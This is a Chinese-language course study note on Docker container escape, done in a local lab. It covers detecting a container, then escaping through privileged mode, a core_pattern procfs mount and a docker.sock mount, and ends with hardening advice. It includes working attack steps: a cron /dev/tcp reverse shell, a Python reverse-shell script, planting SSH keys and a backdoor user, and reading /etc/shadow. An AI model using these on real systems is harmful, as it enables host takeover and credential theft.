总结于小迪安全第95天学习:云原生Docker安全 & 容器逃逸,twiki
课程主题:云上攻防 — 云原生篇 & Docker安全 & 权限环境检测 & 容器逃逸 & 特权模式 & 危险挂载
先搞懂Docker是什么,如何判断自己在不在容器里,怎么逃逸。
想象你有一台电脑,上面装了Windows系统。现在你想跑一个网站,这个网站需要:
你直接在Windows上装这些,可能会遇到各种版本冲突、环境不兼容的问题。这时候Docker出现了:
Docker就像一个"打包盒"。开发者把网站需要的所有环境(PHP、MySQL、Nginx等)全部打包成一个"镜像"(Image)。你拿到这个镜像,用Docker一运行,就自动创建出一个"容器"(Container),里面环境完全一致,直接就能跑网站。
类比理解:
| 概念 | 类比 |
|---|---|
| 镜像 (Image) | 游戏安装包 |
| 容器 (Container) | 安装好的游戏进程 |
| Dockerfile | 游戏安装说明书 |
| 仓库 (Registry) | 游戏下载平台(如Steam) |
很多小白会把Docker和VMware虚拟机搞混,其实它们差别很大:
虚拟机架构: 硬件 → 宿主机OS → Hypervisor → 虚拟机OS → 应用 ↑ 每个VM都有完整OS,占资源大 Docker架构: 硬件 → 宿主机OS → Docker引擎 → 容器(共享宿主机内核)→ 应用 ↑ 容器没有独立OS,轻量快速
关键区别:
对渗透测试的影响:如果你打进了一个Docker容器,拿到的是"容器内的权限",不是宿主机的权限。容器里的root用户,只是容器里的老大,出了容器啥也不是。所以你需要容器逃逸——从容器里"逃"到宿主机上。
Docker主要靠两个Linux技术实现隔离:
| 技术 | 作用 | 通俗解释 |
|---|---|---|
| Namespace(命名空间) | 隔离视图 | 让容器觉得自己在独立的世界里,看不到其他容器和宿主机的进程 |
| Cgroup(控制组) | 限制资源 | 限制这个容器最多能用多少CPU、内存,防止它把宿主机资源吃光 |
渗透测试分两个阶段:
这时候你只能通过外部扫描和观察来猜测:
线索1:端口特征
线索2:版本信息
Server: nginx/1.21.0 配合其他特征线索3:服务指纹
小白提示:黑盒阶段很难100%确定是不是Docker,更多是靠经验猜测。真正准确的判断,需要拿到权限后看内部文件。
一旦你拿到了目标服务器的命令执行权限(比如通过RCE、Webshell),就可以用以下方法判断:
判断推荐文章https://blog.csdn.net/qq_23936389/article/details/131486643
/.dockerenv 文件(最准)Docker容器启动时,会在根目录下创建一个隐藏文件 .dockerenv。
bashls -al /
如果看到输出里有 .dockerenv,那99%是在Docker容器里:
drwxr-xr-x 1 root root 4096 Jan 1 00:00 . drwxr-xr-x 1 root root 4096 Jan 1 00:00 .. -rwxr-xr-x 1 root root 0 Jan 1 00:00 .dockerenv <-- 看到它就稳了 drwxr-xr-x 2 root root 4096 Jan 1 00:00 bin
/proc/1/cgroup(也很准)Linux的 /proc 目录是伪文件系统,记录着系统进程信息。/proc/1/cgroup 记录着1号进程(系统第一个进程)所在的控制组。
bashcat /proc/1/cgroup
这个方法不一定会有,受到权限限制
不同环境的输出特征:
12:hugetlb:/docker/abc123def456... 11:blkio:/docker/abc123def456... 10:memory:/docker/abc123def456...
看到路径里有 /docker/ 字样。
12:hugetlb:/kubepods/besteffort/pod-xxx/... 11:blkio:/kubepods/besteffort/pod-xxx/...
看到路径里有 /kubepods/ 字样。
12:hugetlb:/ 11:blkio:/ 10:memory:/
路径就是 /,没有docker或kubepods。
快速判断命令:
bashcat /proc/1/cgroup | grep -qi docker && echo "是Docker容器" || echo "不是Docker容器"
bash# 看进程,容器里进程很少
ps aux
# 看端口,容器里通常只有应用端口
netstat -anpt
如果进程特别少(可能就几个),或者没有系统级服务(如sshd、systemd),那大概率是容器。

等等
容器逃逸 = 你本来只控制了一个"小盒子"(Docker容器),通过各种手段,突破盒子的边界,拿到了"大房子"(宿主机)的控制权。
为什么要逃逸?
逃逸的分类:
今天课程主要讲前两种:特权模式逃逸 和 危险挂载逃逸。
正常情况下,Docker容器是"受限"的:
但管理员有时候为了省事,启动容器时加了 --privileged 参数,这就是特权模式。
特权模式意味着:
/dev 下的所有东西)通俗比喻:普通容器像"监狱里的囚犯",特权容器像"监狱长",虽然也在监狱里,但有钥匙可以打开所有门。
这里通过特权启动一个容器
jsdocker run --rm --privileged=true -it alpine

拿到容器shell后,执行:
bashcat /proc/self/status | grep CapEff
看 CapEff(Effective Capability,有效权限掩码)的值:
CapEff: 0000003fffffffff 或 0000001fffffffff0000000000000000 或只有几个位
bash# 特权模式输出示例
CapEff: 0000003fffffffff
CapPrm: 0000003fffffffff
CapBnd: 0000003fffffffff
Step 1:确认在容器里
bashls -al /
# 看到 .dockerenv,确认是容器
cat /proc/1/cgroup | grep docker
# 确认是docker
Step 2:确认是特权模式
bashcat /proc/self/status | grep CapEff
# 看到 0000003fffffffff,确认特权模式
Step 3:查看宿主机磁盘设备
bashfdisk -l
输出示例:
Disk /dev/sda: 20 GiB, 21474836480 bytes Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 1050623 1048576 512M b W95 FAT32 /dev/sda2 1052671 419430399 418377729 199.5G 83 Linux
这里 /dev/sda2 是宿主机的主分区。
Step 4:挂载宿主机磁盘到容器
bash# 创建挂载点
mkdir /test
# 把宿主机磁盘挂载到容器的/test目录
mount /dev/sda2 /test
或者1步
mkdir /test && mount /dev/sda2 /test
# 查看是否成功
ls /test
可以看到多出来一个test
成功

对比
如果看到宿主机上的文件(如 bin, etc, home, root 等),说明挂载成功!
这里还有
js方法二 --添加用户方法 mount /dev/sda1 /mnt chroot /mnt adduser john
Step 5:在宿主机上留后门(选一种方式)
方式A:写计划任务(Crontab)反弹Shell
bash# 把反弹shell写入宿主机的root计划任务
echo '*/1 * * * * bash -c "bash -i >& /dev/tcp/你的IP/4444 0>&1"' >> /test/var/spool/cron/crontabs/root
然后在你的攻击机上监听:
bashnc -lvvp 4444
等1分钟,宿主机会自动连接你,拿到的是宿主机的shell!
方式B:创建新用户登录
bash# 切换到宿主机文件系统环境
chroot /test
# 创建新用户
adduser hacker
# 设置密码
passwd hacker
然后用SSH连接宿主机,用 hacker 用户登录,再提权。
方式C:直接写SSH公钥
bash# 在宿主机root目录写入你的公钥
echo "ssh-rsa AAAA...你的公钥..." >> /test/root/.ssh/authorized_keys
然后直接SSH免密登录宿主机。
/proc 是Linux的一个伪文件系统,它不在硬盘上,是内核实时生成的,记录着系统所有进程、内存、设备等状态信息。
为什么危险?
/proc 里有很多敏感文件,比如 /proc/sys/kernel/core_patterncore_pattern 控制着程序崩溃时,系统怎么处理崩溃信息core_pattern,就能让宿主机执行任意命令!管理员启动容器时,把宿主机的 /proc 某个路径挂载到了容器里:
bashdocker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
-v 是挂载参数,把宿主机的 /proc/sys/kernel/core_pattern 挂到了容器的 /host/proc/sys/kernel/core_pattern。
通过以下命令部署环境
jsdocker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
Step 1:确认在容器里
(同上,用 /.dockerenv 或 cgroup 判断)
Step 2:检测是否挂载了宿主机的 procfs
bashfind / -name core_pattern

正常情况下,容器里只有一个 /proc/sys/kernel/core_pattern。
如果找到两个:
/proc/sys/kernel/core_pattern(容器自己的)/host/proc/sys/kernel/core_pattern(宿主机的,因为挂载了)那就说明存在这个漏洞!
Step 3:找到容器在宿主机上的绝对路径
容器在宿主机上其实有一个对应的目录,我们需要找到它:
bashcat /proc/mounts | xargs -d ',' -n 1 | grep workdir
输出示例:
workdir=/var/lib/docker/overlay2/abc123.../work
注意:要把路径最后的 /work 改成 /merged,这才是容器真正的根目录在宿主机上的位置:
/var/lib/docker/overlay2/abc123.../merged
Step 4:准备反弹Shell脚本
在容器里创建一个Python反弹shell脚本: 或者安装vim和gcc
jsapt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
bashcat > /tmp/.x.py << 'EOF'
#!/usr/bin/python3
import os
import pty
import socket
lhost = "你的VPS IP"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
在攻击机上接受shell

在受害机上安装py3
bashapt-get update && apt-get install -y python3
然后执行测试
bashpython3 -c "import socket; s=socket.socket(); s.connect(('192.168.1.8', 5555)); print('\350\277\236\351\200\232\357\274\201'); s.close()"

Step 5:修改宿主机的 core_pattern
core_pattern 的格式是:当程序崩溃时,系统会执行这个模式里的命令,并把崩溃信息传给它。
我们把 core_pattern 改成执行我们的脚本:
bashecho -e "|/var/lib/docker/overlay2/abc123.../merged/tmp/.x.py
core" > /host/proc/sys/kernel/core_pattern
bash这里是containerd(K8s底层用的容器运行时)
echo -e "|/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/23/merged/tmp/.x.py \rcore" > /host/proc/sys/kernel/core_pattern
cat /host/proc/sys/kernel/core_pattern
注意:
是回车符,必须有!core 是随便写的,满足格式要求Step 6:准备一个会崩溃的程序
我们需要让宿主机上某个程序崩溃,触发 core_pattern 执行我们的脚本。
写一个C语言程序,制造空指针崩溃:
bashcat > /tmp/x.c << 'EOF'
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1; // 向空指针写数据,必然崩溃
return 0;
}
EOF
# 编译
gcc /tmp/x.c -o /tmp/x
这里我缺少头文件,安装C 标准库头文件
bashapt-get install -y libc6-dev

实战提示:生产环境通常没有gcc,建议在本地编译好上传,或者直接用Python制造崩溃:
pythonpython3 -c "import os; os.kill(1, 11)" # 发送SIGSEGV信号
Step 7:触发崩溃,拿到宿主机Shell
在你的VPS上先开启监听:
bashnc -lvvp 4444
然后在容器里执行崩溃程序:
bash/tmp/x
程序崩溃后,宿主机的内核会处理崩溃,读取 core_pattern,执行我们写入的命令——也就是运行 /tmp/.x.py,反弹shell到我们的VPS。
此时你收到的shell,就是宿主机的shell,逃逸成功!
按道理这里就可以了,但是我这里试了好几个虚拟机,貌似都有问题,问了问ai说是Namespace 共享导致 core dump 行为异常,也就是kali的docker的默认行为被改过,故放弃
Docker有一个守护进程(dockerd),它在后台管理所有容器。其他程序要和它通信,需要通过一个特殊的文件:
/var/run/docker.sock
这个文件就是 Docker Socket,相当于Docker的"遥控器"。谁拥有它,谁就能给Docker下达命令(创建容器、删除容器、查看信息等)。
管理员启动容器时,把Docker Socket挂进了容器:
bashdocker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
有时候是为了方便,让容器里的程序也能操作Docker,但这非常危险!
进入环境
bashdocker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker exec -it with_docker_sock /bin/bash

Step 1:确认在容器里 (同上)
Step 2:检测是否挂载了 Docker Socket
bashls -lah /var/run/docker.sock
如果存在这个文件,说明挂载了Socket:
srwxrwxrwx 1 root root 0 Jan 1 00:00 /var/run/docker.sock
Step 3:在容器里安装Docker客户端
容器里通常没有docker命令,需要安装:
bash# 更新源
apt-get update
# 安装curl
apt-get install -y curl
# 一键安装docker(只装客户端,不需要启动daemon)
curl -fsSL https://get.docker.com/ | sh
这里同样也可以判断下是不是这种Socket 逃逸方式
bashls -lah /var/run/docker.sock

实战提示:安装过程可能很慢,建议提前准备好docker二进制文件上传。
Step 4:利用Socket创建新容器,挂载宿主机根目录
既然我们能通过Socket操作Docker,就可以在容器里再创建一个新的容器,并且把宿主机的根目录 / 挂载进去:
bashdocker run -it -v /:/host ubuntu /bin/bash
解释:
docker run:创建并运行新容器-v /:/host:把宿主机的根目录 / 挂载到新容器的 /host 目录ubuntu:使用ubuntu镜像/bin/bash:进入bash执行后,你会进入一个新的容器,但在这个新容器里:
bashls /host

或者在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,
bashchroot /host
看到的就是宿主机的根目录!你可以直接读取 /host/etc/shadow、/host/root/.ssh/ 等敏感文件。
Step 5:在新容器里操作宿主机
bash# 查看宿主机密码文件
cat /host/etc/shadow
# 给宿主机root写SSH公钥
echo "ssh-rsa AAAA..." >> /host/root/.ssh/authorized_keys
# 或者直接chroot到宿主机
chroot /host
# 现在你就是宿主机的root了!
不是每次拿到Webshell都能直接逃逸的,还要看你在容器里的权限:
典型情况:
优势:
典型情况:
www-data 用户运行限制:
fdisk -l(需要root)mount 挂载磁盘/proc/sys/kernel/core_pattern解决思路:
小白总结:容器逃逸的前提是——你在容器里得有足够的权限。如果只是个"小弟"用户,先想办法在容器里当"老大",再考虑逃出容器。
不要滥用 --privileged:
bash# 危险!别这么干
docker run --privileged -d myapp
# 安全的做法:只给必要的权限
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -d myapp
最小权限原则:
--cap-add 单独添加,而不是全开禁止挂载敏感目录:
bash# 极度危险!
docker run -v /proc:/proc ...
docker run -v /var/run/docker.sock:/var/run/docker.sock ...
docker run -v /:/host ...
# 安全的做法:只挂载必要的业务目录
docker run -v /app/data:/data ...
使用只读挂载:
bashdocker run -v /app/config:/config:ro ... # ro = read only
| 措施 | 说明 |
|---|---|
| 启用User Namespace | 让容器里的root映射到宿主机上的普通用户 |
| 使用Seccomp | 限制容器能使用的系统调用 |
| 使用AppArmor/SELinux | 强制访问控制,限制容器行为 |
| 及时更新Docker版本 | 修复已知CVE漏洞 |
| 监控异常行为 | 检测容器内的mount、fdisk等敏感操作 |
Docker容器逃逸 │ ├── 前置:判断是否在容器里 │ ├── 黑盒:端口、版本、指纹猜测 │ └── 白盒:/.dockerenv、/proc/1/cgroup │ ├── 逃逸方式一:特权模式 │ ├── 判断:CapEff == 0000003fffffffff │ ├── 查看磁盘:fdisk -l │ ├── 挂载磁盘:mount /dev/sdaX /test │ └── 留后门:crontab / chroot / SSH公钥 │ ├── 逃逸方式二:危险挂载-Procfs │ ├── 检测:find / -name core_pattern(找到两个) │ ├── 找路径:cat /proc/mounts | grep workdir │ ├── 写脚本:/tmp/.x.py(反弹shell) │ ├── 改core_pattern:指向脚本路径 │ └── 触发崩溃:执行C程序或发信号 │ ├── 逃逸方式三:危险挂载-Socket │ ├── 检测:ls /var/run/docker.sock │ ├── 装客户端:curl -fsSL https://get.docker.com/ | sh │ ├── 创建新容器:docker run -v /:/host │ └── 操作宿主机:chroot /host │ └── 权限影响 ├── 高权限(Java/root):直接逃逸 └── 低权限(PHP/www-data):先提权再逃逸
本地搭建靶场:
bash# 特权模式靶场
docker run --rm --privileged=true -it alpine
# Procfs挂载靶场
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
# Socket挂载靶场
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
推荐工具:
参考资源: